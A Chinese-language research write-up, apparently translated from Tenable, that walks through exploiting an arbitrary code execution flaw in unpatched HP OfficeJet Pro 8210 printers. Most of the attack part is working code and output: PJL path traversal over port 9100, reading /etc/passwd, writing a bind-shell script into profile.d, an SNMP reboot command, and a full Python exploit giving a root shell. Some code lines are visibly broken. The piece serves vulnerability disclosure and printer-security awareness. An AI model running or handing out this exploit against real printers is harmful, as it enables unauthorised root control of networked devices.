hp-security-alert.jpg

打印机是人们生活和办公中经常使用到的设备,家庭、公司、政府、医院、学校……,几乎每个单位机构都会使用打印机。其实,打印机在整个网络系统和边界范围中的安全问题不容忽视。你知道吗,打印机也需要经常更新补丁固件,打印机系统同样存在很多漏洞。但人们是否能真正认识到打印机的信息安全问题,值得思考。在此,我以某漏洞公告入手,叙述如何黑掉一台未及时更新固件的打印机,希望藉此引起人们对打印机安全问题的重视。

HP打印机某漏洞公告

4月初,HP(惠普)发布了一条名为“HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution”,关于HP PageWide Printers和HP OfficeJet Pro Printer两种打印机的任意代码执行漏洞公告。公告总结中声称:

某些型号的HP打印机中被发现存在一种潜在的安全漏洞,攻击者利用该漏洞可以对目标打印机发起攻击,执行任意代码行为。

认真阅读该公告可以发现,该漏洞的CVSS评分竟高达9.8分严重),但从字面来看,这种漏洞总结基本可以算是不痛不痒的说明,尤其对漏洞影响的隐晦刻画词“潜在”,更是让人一头雾水。除此之外,还有一个无任何有用信息的CVE描述CVE-2017-2741,虽然已是HP漏洞公告后的两个月,但该CVE仍然处于“RESERVED” 状态,无任何漏洞细节的详细描述。

前期准备工作

保持好奇心永远没错!这种“潜在”的高危漏洞激起了我们的研究兴趣,大家愿意为之乐此不疲,说干就干,对照漏洞公告中受影响的设备型号,我们立即购买了两台HP OfficeJet Pro 8210打印机。

IMG_0292.JPG

对于漏洞研究来说,购买新设备并期望其中仍然存在漏洞固件,本来就是一种赌博。天知道漏洞补丁是否被修复?侥幸的是,两台新购打印机都存在漏洞固件并禁用了补丁更新,如下web界面所示:

unpatched.png

HP安全公告烦人的事就是告知用户前往www.hp.com/support自行下载相应的更新固件,HP针对此漏洞,提供了名为OJ8210_R1709A.exe的更新固件下载。

2017-06-17_195640.png

为了方便验证对比,我们为其中一台OfficeJet Pro 8210打印机更新了固件,另一台未更新。好了,准备就绪,现在开始研究远程代码执行吧!

未更新固件的打印机:192.168.1.158

更新了固件的打印机:192.168.1.159

研究开始

首先,用NMAP对更新了固件的打印机执行端口扫描:

albinolobster@ubuntu:~$ nmap -A 192.168.1.159 Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE    VERSION 80/tcp open http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 443/tcp open ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 515/tcp open printer 631/tcp open ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 8080/tcp open http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A; 9100/tcp open jetdirect?

从扫描结果来看,并没有什么异常,80\443\8080端口都是用于HTTP服务监听的,515端口为行式打印机服务(LPD),631端口为互联网打印协议(IPP),被NMAP标记为“jetdirect?”的9100端口为HP的原始打印服务端口或9100打印服务。

HP把9100端口打印服务列为“HP专有”,但其除了支持原始打印服务外,还支持 PCL、PostScript和PJL打印语言。用这台OfficeJet Pro 8210打印机为例,以下为通过9100端口利用PJL语言获取打印机设备信息:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100 @PJL INFO ID
@PJL INFO ID "HP OfficeJet Pro 8210"

德国安全专家Jens Müller在1月份发布的报告《入侵网络打印机:激光和多功能打印设备漏洞研究》中指出,大部分打印存在利用PJL语言进行目录遍历的漏洞,这里示例如下:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100 @PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR

可以发现,以上命令中列出了打印机的一个根目录0:/,和两个子目录tmp/、csr_misc/,在未更新固件的打印机上,尝试使用路径0:/../../进行目录枚举后,会出现以下情况:

albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../../" ENTRY=1 rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR

打印机显示了一系列新的目录结构,这些敏感的目录位置看似可以进行攻击利用。我们使用相同的路径0:/../../枚举方法和PJL语言,在更新了固件的打印机上试试,会出现FILEERROR错误,如下:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100 @PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../../" FILEERROR=0

这反映出了固件更新与未更新之间的区别,也侧面说明在未更新固件的打印机上可能存在远程代码执行漏洞。现在,我们把研究重点放在未更新固件的打印机上

在未更新固件的打印机上尝试变换攻击方法

以上枚举出来的目录看似不太有用,这种文件结构不像我们熟悉的其它文件系统,那就试试其它目录遍历路径吧:

albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4 @PJL FSDIRLIST NAME="../../" FILEERROR=0 @PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4 @PJL FSDIRLIST NAME="../../bin/" ENTRY=1 getopt TYPE=FILE SIZE=880020 setarch TYPE=FILE SIZE=880020 dd TYPE=FILE SIZE=880020 cp TYPE=FILE SIZE=880020

我尝试了../../后,产生了FILEERROR错误,而../../bin却可以列出一些传统Linux系统文件,看来可以像遍历Linux系统那样进行深入遍历了。

但如何把这些目录遍历转换成远程代码执行呢?首先,你得知道几个PJL命令:FSQUERY、FSUPLOAD和FSDOWNLOAD,这3个命令将会赋予用户访问打印机文件系统的读写(r/w)权限,例如,我可以利用FSQUERY或FSUPLOAD命令读取/etc/passwd密码内容:

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648 @PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648 root:x:0:0:root:/var/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh operator:x:37:37:Operator:/var:/bin/sh haldaemon:x:68:68:hald:/:/bin/sh dbus:x:81:81:dbus:/var/run/dbus:/bin/sh ftp:x:83:83:ftp:/home/ftp:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh sshd:x:103:99:Operator:/var:/bin/sh default:x:1000:1000:Default non-root user:/home/default:/bin/sh _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

这些内容当然重要,值得读取,由于FSDOWNLOAD命令需要发送终止程序字符(ESC),所以,为了代替Netcat工具,我写了个Python脚本尝试把读取信息存储到../../tmp/writing_test文件中,如下:

import socket import sys

test = ('test') if len(sys.argv) != 3: print '\nUsage:upload.py [ip] [port]\n' sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"\r\n' dir_query += test
dir_query += '\x1b%-12345X' sock.sendall(dir_query)
sock.close()

但遗憾的是,该脚本不能成功读取执行,可能是程序解释PJL语言时不具备对打印机文件系统的写权限:

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @PJL FSQUERY NAME="../../tmp/writing_test" @PJL FSQUERY NAME="../../tmp/writing_test" FILEERROR=0

没有了对该Linux文件系统的访问权限,也就意味着根本不可能进行文件更换或脚本执行操作,这对我们来说是一个小小的打击。现在,我们唯一的希望就剩下 0:/ 文件系统了。

在此,我就省去了对0:/目录的各种尝试叙述,最终我注意到了0:/../../rw/var/etc/profile.d/目录,因为通常profile.d目录包含了系统启动时的各种执行脚本。而且,可以发现,0:/../../rw/var/etc/profile.d/../../var/etc/profile.d/下似乎都包含了相同的数据内容:

albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 .sig/ TYPE=DIR

@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR

为了测试在0:/文件系统中是否可以对profile.d进行写权限操作,我把Python脚本中的FSDOWNLOAD命令部分中的写入目录换成了:0:/../../rw/var/etc/profile.d/writing_test,最终脚本如下:

import socket import sys

test = ('test') if len(sys.argv) != 3: print '\nUsage:upload.py [ip] [port]\n' sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r\n
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()

试试看,竟然成功了,新写入创建的文件还能通过遍历方式可见:

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 albinolobster@ubuntu:~$ nc 192.168.1.158 9100 @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024 @PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 .sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4

获得控制Shell

SO,现在已经具备包含系统启动脚本目录的写权限了,离远程代码执行很近了。只需向其中写入一个执行脚本,并弄清楚如何重启打印机,当设备重启时,就可以静待脚本启动执行了。当然,这个脚本的运行最终必须得给予我们shell访问权。由于打印机系统中配置了netcat,由此,我创建了一个脚本,该脚本将会生成一个绑定到1270端口的shell:

if [ ! -p /tmp/pwned ]; then
    mkfifo /tmp/pwned
    cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi

之后,就只需想办法让打印机远程重启了。主要有两种方法,一种为使用打印机WEB界面中工具栏选项下的电源重启功能(Power Cycle),另一种为使用SNMP协议的MIB命令来实现重启,如下SNMP命令:

albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4 iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4

Exploit

综上所述,把所有脚本功能合成后,最终写出了一个能向profile.d中写入系统启动执行脚本,并能执行打印机重启的exploit:

##
# Create a bind shell on an unpatched OfficeJet 8210 # Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270. #
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
## import socket import sys from easysnmp import snmp_set

profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n' '\tmkfifo /tmp/pwned\n' '\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n
                    'fi\n')

if len(sys.argv) != 3:
    print '\nUsage:upload.py [ip] [port]\n'
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
dir_query += profile_d_script
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()

sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
sock1.sendall(dir_query)

response = ''
while True:
    data = sock1.recv(1)
    if '\n' == data: break
    response += data

print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'

对未更新固件的目标打印机执行exploit,大约30秒后,可以获取到一个绑定到1270端口的反弹控制shell,如下:

albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100 connecting to 192.168.1.158 port 9100 @PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119 Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270 whoami
root

总结

针对该漏洞威胁,Tenable已于5月底发布了漏洞检测插件。总之,绝不能忽视打印机安全问题,应该把打印机看成是企业威胁模型中的关键一环,打印机安全问题和计算机安全问题同等重要。另外,还需经常对各类打印设备进行定期安全扫描、固件更新和事件监控。

*参考来源:tenable,freebuf小编clouds编译